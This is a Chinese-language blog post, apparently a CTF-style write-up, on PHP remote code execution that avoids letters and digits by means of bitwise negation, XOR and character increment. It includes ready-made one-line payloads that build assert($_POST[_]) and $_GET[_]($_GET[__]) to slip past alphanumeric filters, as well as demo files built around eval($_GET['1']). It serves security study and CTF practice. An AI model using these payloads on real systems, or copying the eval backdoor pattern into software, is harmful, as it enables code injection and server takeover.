无字母数字RCE

本文最后更新于:4 个月前

取反

1
2
3
4
5
6
7
<?php
$a = "phpinfo";
$a = ~$a;
$a = urlencode($a);
echo $a;
eval($_GET['1']);
//%8F%97%8F%96%91%99%90

类似于php中(“system”)(“calc”)这种的用法,php的机制导致它可以使用字符串来作为函数名执行

但是在测试中发现php8和php7有点不同,php7中,本应是字符串所在的位置可以不使用引号将字符串包裹起来,不会抛出Error,会将它作为字符串来看待并执行语句

而在php8中对语法的要求则更加严格,会出现Fatal Error

因此在php7中,你可以这样:

进一步地,可以传参实现rce:

1
2
3
4
5
6
7
8
9
10
<?php
$a = "system";
$a = ~$a;
$a = urlencode($a);
echo $a."<br>";
$b = "calc";
$b = ~$b;
$b = urlencode($b);
echo $b;
eval($_GET['1']);

Q&A

Q:url编码中不是避免不了数字和英文吗,怎么又能够实现无数字字母呢

A:payload到后端后会自动解码一次,因此到后端之后他已经是url解码后的样子了几乎是一些乱七八糟的字符甚至不可见的,取反一下就是我们所需要的字符串,取反的过程就交给eval吧(

异或

这是一张经典的ascii表

php中,两个字符进行异或时会将其二进制按位异或,举个例子字符A的二进制是1000001,字符a的二进制是1100001,那么按位异或的结果就是0100000,也就是字符空格

在php中验证一下

1
2
3
4
5
6
7
8
9
10
<?php
$var = ')';
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
if(chr($i^$j)==$var && !preg_match("/[A-Za-z0-9]+/",chr($i).chr($j))){
echo "('".(urlencode(chr($i))."'^'".urlencode(chr($j)))."')";
echo "\n";
}
}
}
1
2
3
4
5
6
7
8
9
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'

$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);

$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

自增

同C语言类似的,PHP中可以通过字符的自增运算来获得更高ascii值的字符,但是无法通过自减运算获得更低的

在PHP中,字符串与数组拼接后会转为原字符串与”Array”字符串拼接后的结果:

5,7,8的版本中均OK,

如何构造数字取下标,同Python中类似的,PHP中的True在做运算的时候也为1

这样既可获得字符A:

进行自增,获得B:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

URL编码后传入___参数实现RCE: